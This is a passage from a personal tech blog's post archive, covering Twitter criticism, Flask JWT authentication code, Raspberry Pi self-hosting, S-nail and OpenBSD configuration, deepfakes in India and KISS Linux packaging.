The One 2 SF is fully RGB, i.e. each key is individually lit. Not that I make big use it. I have it set to plain white, and only light up under the key I’m currently pressing. Yes, this also makes it incredibly easy for people to shoulder-peek your passwords. I certainly won’t be using it outside home.

The keyboard itself cost 9599 INR, which is about 128 USD. Meckeys took exactly 10 days to ship it (3rd Aug - 13th Aug). Overall, it’s a lovely keyboard, and I cannot type on my laptop’s low-travel chiclet-style keyboard, again. There’s just no going back.

Reddit link ↩︎

Some thoughts on Twitter

2020-08-03T00:00:00Z

I've begun avoiding Twitter, here's why

This post has been a long time coming. Earlier this year, I decided to not actively participate on Twitter, and stick to the fediverse primarily. This has been quite possibly the best decision I’ve made, with regard to curating my social / informational feeds—apart from not reading news. I’ll try to gloss over some reasons as to why I dislike Twitter as a platform, in this post. Bear in mind, these are based on my experiences and YMMV.

filter bubbles and radicalization

I think this can be said about any social network, but the way that Twitter is designed only further enables this phenomenon. The more you interact / show interest in a specific topic, the more you see of the same—in terms of suggested accounts to follow, notifications/email telling you XYZ tweeted this (you probably don’t even follow XYZ).

I’ve experienced this first hand. I created an alt and followed a few prominent right-wing accounts (for science!), and within a day or two, my notifications and inbox were filled with similar accounts & tweets.

This, as a result, means the user is much more likely to see content similar to their own perspectives—a filter bubble. The user is effectively isolated in their own ideological bubbles. Consequentially, any form of disagreement that occurs is tossed aside as the other party’s flaw. Surely they wouldn’t hold that perspective if they could see things your way! It’s their ignorance!

One might argue, however, that they do in fact see a lot of opposing viewpoints in their feed. After all, most of mainstream discourse on Twitter is just derisive tweets by proponents of either side¹, at each other. The left quote-tweeting the right and vice versa, for example. In fact, this is pretty much all that today’s “news” is about—constant, endless rebuttals to the other’s perspective. I still think this is filter bubbling—the constant reaffirmation of your ideologies, by taking potshots at the other side.

And what does constant exposure to a singular viewpoint lead to? That’s right, radicalization. I won’t get into too much detail—there really isn’t much to say. I’ll just add that I know of a few cases IRL, where within little over a year of having created a Twitter account the person’s political and ideological positions became hard lines—and they now straight up refuse to look at things any other way. This is by no means a scientific conclusion; there are various other influencing factors, but my point still stands.

favors mistakes over apologies

Twitter’s design is plagued with flaws, but this one takes the cake. If you screw up or tweet something incorrect, and it happens to go viral, there’s literally no good way to publish a correction / apology. Quoting the fantastic article by Nick Punt on deescalating conflict on social media:

If we ignore replies, the simple amplification effects of likes, replies, retweets, and subtweets leave us exposed and the situation can get out of hand. If we delete and post another, people are unlikely to see our follow-up, as corrections are rarely viral. Similarly, even if we reply, only our viral mistake will be seen in the feed of others.

too much USPOL

This might be a non-issue for US residents, but gosh is it irritating to see US politics literally everywhere. I’m of the opinion that USPOL is given an unfair amount of attention in mainstream discourse—to the point where it overshadows everything else, and Twitter is no exception.

generally unhealthy discourse

If you take a close look at the overarching theme of most Tweets, or even just the popular ones—you’ll notice a fairly negativist outlook across most, if not all of them. The r/2meirl4meirl kind.² This is a very unhealthy environment to socialize in. Constantly brooding over things you can’t really affect is quite pointless.

Another general theme is the constant need for one-upping the other—the never-ending contest of who’s going to post the most clever comeback. For what? For the likes and retweets, of course. This is also what most of “cancel culture” is really about—pick a target, post screenshots, add a snide remark: voilà, you have a somewhat popular tweet.

why don’t you just curate your feed then bro?

Yeah, no. I’ve tried. The problem is, following someone for the technical content doesn’t imply they’re constantly only going to post that—and that’s their prerogative. And Twitter’s annoying “XYZ liked this tweet” doesn’t help either. Trying to make your Twitter timeline BS-free is like trying to straighten a dog’s tail.

So what do I suggest then? I really don’t know. Honestly, all social media sucks. The entire idea is so contrived and the world would’ve been better off without it—the incessant, mind-numbing feed of information. But the shinier turd here is the fediverse. It’s not governed by $BIGTECH, and extremists have decided to stick to their own echo chambers like Gab. Oh, and the other side propagates massive blocklists for the tiniest of infractions (defined by them), so they effectively echo chambered themselves too. I’m not complaining.

“All social media sucks, but the fediverse sucks less.”
— Me, 2020

By which I mean any two ideologically opposing groups. Not restricted to politics.
↩︎
Most posts on that sub are just screenshots of tweets, so… ↩︎

Status update

2020-07-20T00:00:00Z

Things I've been up to, for the past month-ish

I realize I haven’t updated this site in a while—mostly due to lack of time. The past two weeks have been pretty busy (read: I now actually have work to do), which also means I have very little time to devote to personal projects. Anyway, on with the update.

I now work at CometChat

I’ve begun working as an Engineering Intern at CometChat. It’s been a very interesting experience so far. Most of my work revolves around infrastructure and platform engineering—pretty exciting stuff. [Oops, redacted]

I have also been extensively dabbling in XMPP and websocket internals, as I’m writing a websocket proxy of sorts. I’ll probably talk about it in a future blog post, once I get approval org-side. :^)

that’s literally it

I sat all day thinking of what else to add to this post—there’s got to be something else right? Not really. I don’t think I did anything worthwhile. I did get some pretty interesting emails from people who read this blog, so yes, please email me—even if it’s just to say hi. I always reply.

Flask-JWT-Extended × Flask-Login

2020-06-24T00:00:00Z

Apparently I do webshit now

For the past few months, I’ve been working on building a backend for $STARTUP, with a bunch of friends. I’ll probably write in detail about it when we launch our beta. The backend is your bog standard REST API, built on Flask—if you didn’t guess from the title already.

Our existing codebase heavily relies on Flask-Login; it offers some pretty neat interfaces for dealing with users and their states. However, its default mode of operation—sessions—don’t really fit into a Flask app that’s really just an API. It’s not optimal. Besides, this is what JWTs were built for.

I won’t bother delving deep into JSON web tokens, but the general flow is like so:

client logs in via say /login
a unique token is sent in the response
each subsequent request authenticated request is sent with the token

The neat thing about tokens is you can store stuff in them—“claims”, as they’re called.

returning an `access_token` to the client

The access_token is sent to the client upon login. The idea is simple, perform your usual checks (username / password etc.) and login the user via flask_login.login_user. Generate an access token using flask_jwt_extended.create_access_token, store your user identity in it (and other claims) and return it to the user in your 200 response.

Here’s the excerpt from our codebase.

access_token = create_access_token(identity=email)
login_user(user, remember=request.json["remember"])
return good("Logged in successfully!", access_token=access_token)

But, for login_user to work, we need to setup a custom user loader to pull out the identity from the request and return the user object.

By default, Flask-Login handles user loading via the user_loader decorator, which should return a user object. However, since we want to pull a user object from the incoming request (the token contains it), we’ll have to write a custom user loader via the request_loader decorator.

# Checks the 'Authorization' header by default.
app.config["JWT_TOKEN_LOCATION"] = ["json"]

# Defaults to 'identity', but the spec prefers 'sub'.
app.config["JWT_IDENTITY_CLAIM"] = "sub"

@login.request_loader
def load_person_from_request(request):
    try:
        token = request.json["access_token"]
    except Exception:
        return None
    data = decode_token(token)
    # this can be your 'User' class
    person = PersonSignup.query.filter_by(email=data["sub"]).first()
    if person:
        return person
    return None

There’s just one mildly annoying thing to deal with, though. Flask-Login insists on setting a session cookie. We will have to disable this behaviour ourselves. And the best part? There’s no documentation for this—well there is, but it’s incomplete and points to deprecated functions.

To do this, we define a custom session interface, like so:

from flask.sessions import SecureCookieSessionInterface
from flask import g
from flask_login import user_loaded_from_request

@user_loaded_from_request.connect
def user_loaded_from_request(app, user=None):
    g.login_via_request = True


class CustomSessionInterface(SecureCookieSessionInterface):
    def should_set_cookie(self, *args, **kwargs):
        return False

    def save_session(self, *args, **kwargs):
        if g.get("login_via_request"):
            return
        return super(CustomSessionInterface, self).save_session(*args, **kwargs)


app.session_interface = CustomSessionInterface()

In essence, this checks the global store g for login_via_request and and doesn’t set a cookie in that case. I’ve submitted a PR upstream for this to be included in the docs (#514).

You don't need news

2020-06-21T00:00:00Z

My hot 'n' spicy take on "news" today

News—the never ending feed of information pertaining to “current events”, politics, trivia, and other equally useless junk. News today is literally just this: “<big name person> did/said <dumb thing>!”, “<group> protests against <bad thing>!”, and so on. Okay, shit’s going on in this world. Another day, another thing to be $FEELING about.

Now here’s a question for you: do you remember what news you consumed yesterday? The day before? Last week? Heck no! Maybe some major headlines, but really, what did you gain from learning that information? Must’ve been interesting to read at that time. Hence, news, by virtue of its “newness”, is given importance—and get this, it isn’t even important enough for you to bother remembering it for a few days.

News is entertainment. Quick gratification that lasts a day, at max.

actionable news

So what is useful news, then? I think I’ll go out on a limb here, and say “anything that is actionable”. By that I mean anything that you can physically affect / information that you can actually put to use. Again, there are probably edge-cases and this isn’t a rule that fits all, but it’s a decent principle to follow.

As an example, to readers living outside of the US, news regarding police brutality & the Black Lives Matter movement are unactionable. I’m not saying those problems don’t exist or don’t matter, but what are you really doing to help the cause? Sending thoughts and prayers? Posting angrily on Instagram? Tweeting about it? Stop, and think for yourself if these things actually make any difference. Your time might be better invested in doing something else.

but I compare multiple sources!

Okay, so you read the same thing written by CNN, BBC, The New York Times, etc.? Do you realize how much time you wasted doing this? Ultimately to what end—to forget about it by the next day, and do it all over again. What a dull, braindead process.

won’t I be ignorant then?

If you think keeping up with current events makes you intellectually superior somehow…boy are you wrong. Do something that actually stimulates your gray matter. But, here’s the thing, if the “news” is big enough, you’re bound to come across it anyway! You might hear your friend discuss it, or see it on Twitter, so on and so forth. How you process it thereafter is what matters.

Give it a thought. Imagine if all that social media, news, and general internet noise didn’t clog your head. I think it’ll be much nicer. You might not, and that’s okay. Mail your thoughts or @ me on the fedi—I’d like to hear them.

Migrating to the RPi

2020-06-04T00:00:00Z

Raspberry Pi shenanigans, and other things

I’d ordered the Raspberry Pi 4B (the 4GB variant), sometime early this year, thinking I’d get to self-hosting everything on it as soon as it arrived. As things turn out, it ended up sitting in its box up until two weeks ago—it took me that long to order an SD card for it. No, I didn’t have one. Anyway, from there began quite the wild ride.

flashing the SD card

You’d think this would be easy right? Just plug it into your laptop’s SD card reader (or microSD), and flash it like you would a USB drive. Well, nope. Of the three laptops at home one doesn’t have an SD card reader, mine—running OpenBSD—didn’t detect it, and my brother’s—running Void—didn’t detect it either.

Then it hit me: my phone (my brother’s, actually), has an SD card slot that actually works. Perhaps I can use the phone to flash the image? Took a bit of DDG’ing (ducking?), but we eventually figured out that the block-device for the SD on the phone was /dev/mmcblk1. Writing to it was just the usual dd invocation.

got NAT’d

After the initial setup, I was eager to move my services off the Digital Ocean VPS, to the RPi. I set up the SSH port forward through my router config, as a test. Turns out my ISP has me NAT’d. The entirety of my apartment is serviced by these fellas, and they have us all under a CG-NAT. Fantastic.

Evading this means I either lease a public IP from the ISP, or I continue using my VPS, and port forward traffic from it via a tunnel. I went with option two since it gives me something to do.

NAT evasion

This was fairly simple to setup with Wireguard and iptables. I don’t really want to get into detail here, since it’s been documented aplenty online, but in essence you put your VPS and the Pi on the same network, and forward traffic hitting your internet facing interface (eth0) to the VPN’s (wg0). Fairly simple stuff.

setting up Mastodon on the Pi

Mastodon was kind of annoying to get working. My initial plan was to port forward only a few selected ports, have Mastodon exposed on the Pi at some port via nginx, and then front that nginx via the VPS. So basically: Mastodon (localhost on Pi) <-> nginx (on Pi) <-> nginx (on VPS, via Wireguard). I hope that made sense.

Anyway, this setup would require having Mastodon run on HTTP, since I’ll be HTTPS’ing at the VPS. If you think about it, it’s kinda like what Cloudflare does. But, Mastodon doesn’t like running on HTTP. It just wasn’t working. So I went all in and decided to forward all ⁸⁰⁄₄₄₃ traffic and serve everything off the Pi.

Getting back to Mastodon—the initial few hiccups aside, I was able to get it running at toot.icyphox.sh. However, as a seeker of aesthetics, I wanted my handle to be @icyphox.sh. Turns out, this can be achieved fairly easily.

Add a new WEB_DOMAIN variable to your .env.production file, found in your Mastodon root dir. Set WEB_DOMAIN to your desired domain, and LOCAL_DOMAIN to the, well, undesired one. In my case:

WEB_DOMAIN=icyphox.sh
LOCAL_DOMAIN=toot.icyphox.sh

Funnily enough, the official documentation for this says the exact opposite, which…doesn’t work.

I don’t really understand, but whatever it works and now my Mastodon is @x@icyphox.sh. I’m not complaining. Send mail if you know what’s going on here.

And oh, here’s the protective case nerd fashioned out of cardboard.

Site changes

2020-05-27T00:00:00Z

New stuff at the {back,front}end

The past couple of days, I’ve spent a fair amount of time tweaking this site. My site’s build process involves vite and a bunch of scripts. These scripts are executed via vite’s pre- and post-build actions. The big changes that were made were performance improvements in the update_index.py script, and the addition of openring.py, which you can see at the very bottom of this post!

speeding up index page generation

The old script—the one that featured in Hacky scripts—was absolutely ridiculous, and not to mention super slow. Here’s what it did:

got the most recent file (latest post) by sorting all posts by mtime.
parsed the markdown frontmatter and created a markdown table entry like:

line = f"| [{meta['title']}]({url}) | `{meta['date']}` |"

updated the markdown table (in _index.md) by in-place editing the markdown, with the line created earlier—for the latest post.
finally, I’d have to rebuild the entire site since this markdown hackery would happen at the very end of the build, i.e, didn’t actually get rendered itself.

That…probably didn’t make much sense to you, did it? Don’t bother. I don’t know what I was thinking when I wrote that mess. So with how it was done aside, here’s how it’s done now:

the metadata for all posts are nicely fetched and sorted using python-frontmatter.
the metadata list is fed into Jinja for use in templating, and is rendered very nicely using a simple for expression: {% for p in posts %} <tr> <td align="left"><a href="/blog/{{ p.url }}">{{ p.title }}</a></td> <td align="right">{{ p.date }}</td> </tr> {% endfor %}

A neat thing I learnt while working with Jinja, is you can use DebugUndefined in your jinja2.Environment definition to ignore uninitialized template variables. Jinja’s default behaviour is to remove all uninitialized variables from the template output. So for instance, if you had:

<body>
    {{ body }}
</body>

<footer>
    {{ footer }}
</footer>

And only {{ body }} was initialized in your template.render(body=body), the output you get would be:

<body>
    Hey there!
</body>
<footer>

</footer>

This is annoying if you’re attempting to generate your template across multiple stages, as I was. Now, I initialize my Jinja environment like so:

from jinja2 import DebugUndefined

env = jinja2.Environment(loader=template_loader,undefined=DebugUndefined)

I use the same trick for openring.py too. Speaking of…let’s talk about openring.py!

the new webring thing at the bottom

After having seen Drew’s openring, my NIH kicked in and I wrote openring.py. It pretty much does the exact same thing, except it’s a little more composable with vite. Currently, it reads a random sample of 3 feeds from a list of feeds provided in a feeds.txt file, and updates the webring with those posts. Like a feed-bingo of sorts. ;)

I really like how it turned out—especially the fact that I got my CSS grid correct in the first try!

The efficacy of deepfakes

2020-05-11T00:00:00Z

Can we really write it off as "not a threat"?

A few days back, NPR put out an article discussing why deepfakes aren’t all that powerful in spreading disinformation. Link to article.

According to the article:

“We’ve already passed the stage at which they would have been most effective,” said Keir Giles, a Russia specialist with the Conflict Studies Research Centre in the United Kingdom. “They’re the dog that never barked.”

I agree. This might be the case when it comes to Russian influence. There are simpler, more cost-effective ways to conduct active measures, like memes. Besides, America already has the infrastructure in place to combat influence ops, and have been doing so for a while now.

However, there are certain demographics whose governments may not have the capability to identify and perform damage control when a disinformation campaign hits, let alone deepfakes. An example of this demographic: India.

the Indian landscape

The disinformation problem in India is way more sophisticated, and harder to combat than in the West. There are a couple of reasons for this:

The infrastructure for fake news already exists: WhatsApp
Fact checking media in 22 different languages is non-trivial

India has had a long-standing problem with misinformation. The 2019 elections, the recent CAA controversy and even more recently—the coronavirus. In some cases, it has even lead to mob violence.

All of this shows that the populace is easily influenced, and deepfakes are only going to simplify this. What’s worse is explaining to a rural crowd that something like a deepfake can exist—comprehension and adoption of technology has always been slow in India, and can be attributed to socio-economic factors.

There also exists a majority of the population that’s already been influenced to a certain degree: the right wing. A deepfake of a Muslim leader trashing Hinduism will be eaten up instantly. They are inclined to believe it is true, by virtue of prior influence and given the present circumstances.

countering deepfakes

The thing about deepfakes is the tech to spot them already exists. In fact, some can even be eyeballed. Deepfake imagery tends to have weird artifacting, which can be noticed upon closer inspection. Deepfake videos, of people specifically, blink / move weirdly. The problem at hand, however, is the general public cannot be expected to notice these at a quick glance, and the task of proving a fake is left to researchers and fact checkers.

Further, India does not have the infrastructure to combat deepfakes at scale. By the time a research group / think tank catches wind of it, the damage is likely already done. Besides, disseminating contradictory information, i.e. “this video is fake”, is also a task of its own. Public opinion has already been swayed, and the brain dislikes contradictions.

why haven’t we seen it yet?

Creating a deepfake isn’t trivial. Rather, creating a convincing one isn’t. I would also assume that most political propaganda outlets are just large social media operations. They lack the technical prowess and / or the funding to produce a deepfake. This doesn’t mean they can’t ever.

It goes without saying, but this post isn’t specific to India. I’d say other countries with a similar socio-economic status are in a similar predicament. Don’t write off deepfakes as a non-issue just because America did.

Simplicity (mostly) guarantees security

2020-05-07T00:00:00Z

This is why I meme mnmlsm so much

Although it is a very comfy one, it’s not just an aesthetic. Simplicity and minimalism, in technology, is great for security too. I say “mostly” in the title because human error cannot be discounted, and nothing is perfect. However, the simpler your tech stack is, it is inherentely more secure than complex monstrosities.

Let’s look at systemd, for example. It’s got over 1.2 million lines of code. “Hurr durr but LoC doesn’t mean anything!” Sure ok, but can you imagine auditing this? How many times has it even been audited? I couldn’t find any audit reports. No, the developers are not security engineers and a trustworthy audit must be done by a third-party. What’s scarier, is this thing runs on a huge percentage of the world’s critical infrastructure and contains privileged core subsystems.

“B-but Linux is much bigger!” Indeed, it is, but it has a thousand times (if not more) the number of eyes looking at the code, and there have been multiple third-party audits. There are hundreds of independent orgs and multiple security teams looking at it. That’s not the case with systemd—it’s probably just RedHat.

Compare this to a bunch of shell scripts. Agreed, writing safe shell can be hard and there are a ton of weird edge-cases depending on your shell implementation, but the distinction here is you wrote it. Which means, you can identify what went wrong—things are predictable. systemd, however, is a large blackbox, and its state at runtime is largely unprovable and unpredictable. I am certain even the developers don’t know.

And this is why I whine about complexity so much. A complex, unpredictable system is nothing more than a large attack surface. Drew DeVault, head of sourcehut wrote something similar (yes that’s the link, yes it has a typo).:

https://sourcehut.org/blog/2020–04–20-prioritizing-simplitity/

He manually provisions all sourcehut infrastructure, because tools like Salt, Kubernetes etc. are just like systemd in our example—large monstrosities which can get you RCE’d. Don’t believe me? See this.

This was day 3 of the #100DaysToOffload challenge. It came out like a systemd-hate post, but really, I couldn’t think of a better example.

The S-nail mail client

2020-05-06T00:00:00Z

And how to achieve a usable configuration for IMAP/SMTP

TL;DR: Here’s my .mailrc.

As I’d mentioned in my blog post about mael, I’ve been on the lookout for a good, usable mail client. As it happens, I found S-nail just as I was about to give up on mael. Turns out writing an MUA isn’t all too easy after all. S-nail turned out to be the perfect client for me, but I had to invest quite some time in reading the very thorough manual and exchanging emails with its very friendly author. I did it so you don’t have to¹, and I present to you this guide.

basic settings

These settings below should guarantee some sane defaults to get started with. Comments added for context.

# enable upward compatibility with S-nail v15.0
set v15-compat

# charsets we send mail in
set sendcharsets=utf-8,iso-8859-1

# reply back in sender's charset
set reply-in-same-charset

# prevent stripping of full names in replies
set fullnames

# adds a 'Mail-Followup-To' header; useful in mailing lists
set followup-to followup-to-honour-ask-yes

# asks for an attachment after composing
set askattach

# marks a replied message as answered
set markanswered

# honors the 'Reply-To' header
set reply-to-honour

# automatically launches the editor while composing mail interactively
set editalong

# I didn't fully understand this :) 
set history-gabby=all

# command history storage
set history-file=~/.s-nailhist

# sort mail by date (try 'thread' for threaded view)
set autosort=date

authentication

With these out of the way, we can move on to configuring our account—authenticating IMAP and SMTP. Before that, however, we’ll have to create a ~/.netrc file to store our account credentials.

(This of course, assumes that your SMTP and IMAP credentials are the same. I don’t know what to do otherwise. )

machine *.domain.tld login user@domain.tld password hunter2

Once done, encrypt this file using gpg / gpg2. This is optional, but recommended.

$ gpg2 --symmetric --cipher-algo AES256 -o .netrc.gpg .netrc

You can now delete the plaintext .netrc file. Now add these lines to your .mailrc:

set netrc-lookup
set netrc-pipe='gpg2 -qd ~/.netrc.gpg'

Before we define our account block, add these two lines for a nicer IMAP experience:

set imap-cache=~/.cache/nail
set imap-keepalive=240

Defining an account is dead simple.

account "personal" {
    localopts yes
    set from="Your Name <user@domain.tld>"
    set folder=imaps://imap.domain.tld:993

    # copy sent messages to Sent; '+' indicates subdir of 'folder' 
    set record=+Sent
    set inbox=+INBOX
    
    # optionally, set this to 'smtps' and change the port accordingly
    # remove 'smtp-use-starttls'
    set mta=smtp://smtp.domain.tld:587 smtp-use-starttls

    # couple of shortcuts to useful folders
    shortcut sent +Sent \
        inbox +INBOX \
        drafts +Drafts \
        trash +Trash \
        archives +Archives
}

# enable account on startup
account personal

You might also want to trash mail, instead of perma-deleting them (delete does that). To achieve this, we define an alias:

define trash {
    move "$@" +Trash
}

commandalias del call trash

Replace +Trash with the relative path to your trash folder.

aesthetics

The fun stuff. I don’t feel like explaining what these do (hint: I don’t fully understand it either), so just copy-paste it and mess around with the colors:

# use whatever symbol you fancy
set prompt='> '

colour 256 sum-dotmark ft=bold,fg=13 dot
colour 256 sum-header fg=007 older
colour 256 sum-header bg=008 dot
colour 256 sum-header fg=white
colour 256 sum-thread bg=008 dot
colour 256 sum-thread fg=cyan

The prompt can be configured more extensively, but I don’t need it. Read the man page if you do.

essential commands

Eh, you can just read the man page, I guess. But here’s a quick list off the top of my head:

headers: Lists all messages, with the date, subject etc.
mail: Compose mail.
<number>: Read mail by specifiying its number on the message list.
delete <number>: Delete mail.
new <number>: Mark as new (unread).
file <shortcut or path to folder>: Change folders. For example: file sent

That’s all there is to it.

This is day 2 of the #100DaysToOffload challenge. I didn’t think I’d participate, until today. So yesterday’s post is day 1. Will I keep at it? I dunno. We’ll see.

Honestly, read the man page (and email Steffen!)—there’s a ton of useful options in there.
↩︎

Stop joining mastodon.social

2020-05-05T00:00:00Z

Do you even understand federation?

No, really. Do you actually understand why the Mastodon network exists, and what it stands for, or are you just LARPing? If you’re going to just cross-post from Twitter, why are you even on Mastodon?

Okay, so Mastodon is a “federated network”. What does that mean? You have a bunch of instances, each having their own userbase, and each instance federates with other instances, forming a distributed network. Got that? Cool. Now let’s get to the problem with mastodon.social.

mastodon.social is the instance run by the lead developer. Why does everybody flock to it? I’m really not sure, but if I were to hazard a guess, I’d say it’s because people don’t really understand federation. “Oh, big instance? I should probably join that.” Herd mentality? I dunno.

And what happens when every damn user joins just one instance? It becomes more Twitter, that’s what. The federation is gone. Nearly all activity is generated from just one instance. Here are some numbers:

Total number of users on Mastodon: ~2.2 million.
Number of users on mastodon.social: 529923

Surprisingly, there’s an instance even bigger than mastodon.social—pawoo.net. I have no idea why it’s so big and it’s primarily Japanese. Its user count is over 620k. So mastodon.social and pawoo.net put together form over 1 million users, that’s more than 50% of the entire Mastodon populace. That’s nuts.¹

And you’re only enabling this centralization by joining mastodon.social! Really, what even is there on mastodon.social? Have you even seen its local timeline? Probably not. Join an instance with more flavor. Are you into, say, the BSDs? Join bsd.network. Free software? fosstodon.org. Or host your own for yourself and your friends.

If you really do care about decentralization and freedom, and aren’t just memeing to look cool on Twitter, then move your account to another instance.²

https://rosenzweig.io/blog/the-federation-fallacy.html ↩︎
Go to /settings/migration from your instance’s web page.
↩︎

OpenBSD on the HP Envy 13

2020-04-17T00:00:00Z

I put a blowfish in my laptop this week

My existing KISS install broke because I thought it would be a great idea to have apk-tools alongside the kiss package manager. It’s safe to say, that did not end well—especially when I installed, and then removed a package. With a semi-broken install that I didn’t feel like fixing, I figured I’d give OpenBSD a try. And I did.

installation and setup

Ran into some trouble booting off the USB initially, turned out to be a faulty stick. Those things aren’t built to last, sadly. Flashed a new stick, booted up. Setup was pleasant, very straightforward. Didn’t really have to intervene much.

After booting in, I was greeted with a very archaic looking FVWM desktop. It’s not the prettiest thing, and especially annoying to work with when you don’t have your mouse setup, i.e. no tap-to-click.

I needed wireless, and my laptop doesn’t have an Ethernet port. USB tethering just works, but the connection kept dying. I’m not sure why. Instead, I downloaded the iwm(4) firmware from here, loaded it up on a USB stick and copied it over to /etc/firmware. After that, it was as simple as running fw_update(1) and the firmware is auto-detected and loaded. In fact, if you have working Internet, fw_update will download the required firmware for you, too.

Configuring wireless is painless and I’m so glad to see that there’s no wpa_supplicant horror to deal with. It’s as simple as:

$ doas ifconfig iwm0 nwid YOUR_SSID wpakey YOUR_PSK

Also see hostname.if(5) to make this persist. After that, it’s only a matter of specifying your desired SSID, and ifconfig will automatically auth and procure an IP lease.

$ doas ifconfig iwm0 nwid YOUR_SSID

By now I was really starting to get exasperated by FVWM, and decided to switch to something nicer. I tried building 2bwm (my previous WM), but that failed. I didn’t bother trying to figure this out, so I figured I’d give cwm(1) a shot. Afterall, people sing high praises of it.

And boy, is it good. The config is a breeze, and actually pretty powerful. Here’s mine. cwm also has a built-in launcher, so dmenu isn’t necessary anymore. Refer to cwmrc(5) for all the config options.

Touchpad was pretty simple to setup too—OpenBSD has wsconsctl(8), which lets you set your tap-to-click, mouse acceleration etc. However, more advanced configuration can be achieved by getting Xorg to use the Synaptics driver. Just add a 70-synaptics.conf to /etc/X11/xorg.conf.d (make the dir if it doesn’t exist), containing:

Section "InputClass"
	Identifier "touchpad catchall"
	Driver "synaptics"
	MatchIsTouchpad "on"
    Option "TapButton1" "1"
    Option "TapButton2" "3"
    Option "TapButton3" "2"
    Option "VertEdgeScroll" "on"
    Option "VertTwoFingerScroll" "on"
    Option "HorizEdgeScroll" "on"
    Option "HorizTwoFingerScroll" "on"
	Option "VertScrollDelta" "111"
	Option "HorizScrollDelta" "111"
EndSection

There are a lot more options that can be configured, see synaptics(4).

Suspend and hibernate just work, thanks to apm(8). Suspend on lid-close just needs one sysctl tweak:

$ sysctl machdep.lidaction=1

I believe it’s set to 1 by default on some installs, but I’m not sure.

impressions

I already really like the philosophy of OpenBSD—security and simplicity, while not losing out on sanity. The default install is plentiful, and has just about everything you’d need to get going. I especially enjoy how everything just works! I was pleasantly surprised to see my brightness and volume keys work without any configuration! It’s clear that the devs actually dogfood OpenBSD, unlike uh, cough Free- cough. Gosh I hope it’s not the flu. :^)

Oh and did you notice all the manpage links I’ve littered throughout this post? They have manpages for everything; it’s ridiculous. And they’re very thorough. Arch Wiki is good, but it’s incorrect at times, or simply outdated. OpenBSD’s manpages, although catering only to OpenBSD have never failed me.

Performance and battery life are fine. Battery is in fact, identical, if not better than on Linux. OpenBSD disables HyperThreading/SMT for security reasons, but you can manually enable it if you wish to do so:

$ sysctl hw.smt=1

Package management is probably the only place where OpenBSD falls short. pkg_add(1) isn’t particularly fast, considering it’s written in Perl. The ports selection is fine, I have yet to find something that I need not on there. I also wish they debloated packages; maybe I’ve just been spoilt by KISS. I now have D-Bus on my system thanks to Firefox. :(

I appreciate the fact that they don’t have a political document—a Code of Conduct. CoCs are awful, and have only proven to be harmful for projects; part of the reason why I’m sick of Linux and its community. Oh wait, OpenBSD does have one: https://www.openbsd.org/mail.html ;)

I’ll be exploring vmd(8) to see if I can get a Linux environment going. Perhaps that’ll be my next post, but when have I ever delivered?

I’ll close this post off with my new rice, and a sick ASCII art I made.

      \. -- --./  
      / ^ ^ ^ \
    (o)(o) ^ ^ |_/|
     {} ^ ^ > ^| \|
      \^ ^ ^ ^/
       / -- --\
                    ~icy

The Zen of KISS Linux

2020-04-03T00:00:00Z

My thoughts on the distro, the philosophy and my experience in general

I installed KISS early in January on my main machine—an HP Envy 13 (2017), and I have since noticed a lot of changes in my workflow, my approach to software (and its development), and in life as a whole. I wouldn’t call KISS “life changing”, as that would be overly dramatic, but it has definitely reshaped my outlook towards technology—for better or worse.

When I talk about KISS to people—online or IRL—I get some pretty interesting reactions and comments.¹ Ranging from “Oh cool.” to “You must be retarded.”, I’ve heard it all. A classic and a personal favourite of mine, “I don’t use meme distros because I actually get work done.” It is actually, quite the opposite—I’ve been so much more productive using KISS than any other operating system. I’ll explain why shortly.

The beauty of this “distro”, is it isn’t much of a distribution at all. There is no big team, no mailing lists, no infrastructure. The entire setup is so loose, and this makes it very convenient to swap things out for alternatives. The main (and potentially community) repos all reside locally on your system. In the event that Dylan decides to call it quits and switches to Windows, we can simply just bump versions ourselves, locally! The KISS Guidestones document is a good read.

In the subseqent paragraphs, I’ve laid out the different things about KISS that stand out to me, and make using the system a lot more enjoyable.

the package system

Packaging for KISS has been delightful, to say the least. It takes me about 2 mins to write and publish a new package. Here’s the radare2 package, which I maintain, for example.

The build file (executable):

#!/bin/sh -e

./configure \
    --prefix=/usr

make
make DESTDIR="$1" install

The version file:

4.3.1 1

The checksums file (generated using kiss checksum radare2):

4abcb9c9dff24eab44d64d392e115ae774ab1ad90d04f2c983d96d7d7f9476aa  4.3.1.tar.gz

And finally, the sources file:

https://github.com/radareorg/radare2/archive/4.3.1.tar.gz

This is literally the bare minimum that you need to define a package. There’s also the depends file where you specify the dependencies for your package. kiss also generates a manifests file to track all the files and directories that your package creates during installation, for their removal, if and when that occurs. Now compare this process with any other distribution’s.

the community

As far as I know, it mostly consists of the #kisslinux channel on Freenode and the r/kisslinux subreddit. It’s not that big, but it’s suprisingly active, and super helpful. There have been some interested new KISS-related projects too: kiss-games—a repository for, well, Linux games; kiss-ppc64le and kiss-aarch64—KISS Linux ports for PowerPC and ARM64 architectures; wyvertux—an attempt at a GNU-free Linux distribution, using KISS as a base; and tons more.

the philosophy

Software today is far too complex. And its complexity is only growing. Some might argue that this is inevitable, and it is in fact progress. I disagree. Blindly adding layers and layers of abstraction (Docker, modern web “apps”) isn’t progress. Look at the Linux desktop ecosystem today, for example—monstrosities like GNOME and KDE are a result of this…new wave software engineering.

I see KISS as a symbol of defiance against this malformed notion. You don’t need all the bloat these DEs ship with to have a usable system. Agreed, it’s a bit more effort to get up and running, but it is entirely worth it. Think of it as a clean table—feels good to sit down and work on, doesn’t it?

Let’s take my own experience, for example. One of the initial few software I used to install on a new system was dunst—a notification daemon. Unfortunately, it depends on D-Bus, which is Poetterware; ergo, not on KISS. However, using a system without notifications has been very pleasant. Nothing to distract you while you’re in the zone.

Another instance, again involving D-Bus (or not), is Bluetooth audio. As it happens, my laptop’s 3.5mm jack is rekt, and I need to use Bluetooth for audio, if at all. Sadly, Bluetooth audio on Linux hard-depends on D-Bus. Bluetooth stacks that don’t rely on D-Bus do exist, like on Android, but porting them over to desktop is non-trivial. However, I used this to my advantage and decided not to consume media on my laptop. This has drastically boosted my productivity, since I literally cannot watch YouTube even if I wanted to. My laptop is now strictly work-only. If I do need to watch the occasional video / listen to music, I use my phone. Compartmentalizing work and play to separate devices has worked out pretty well for me.

I’m slowly noticing myself favor low-tech (or no-tech) solutions to simple problems too. Like notetaking—I’ve tried plaintext files, Vim Wiki, Markdown, but nothing beats actually using pen and paper. Tech, from what I can see, doesn’t solve problems very effectively. In some cases, it only causes more of them. I might write another post discussing my thoughts on this in further detail.

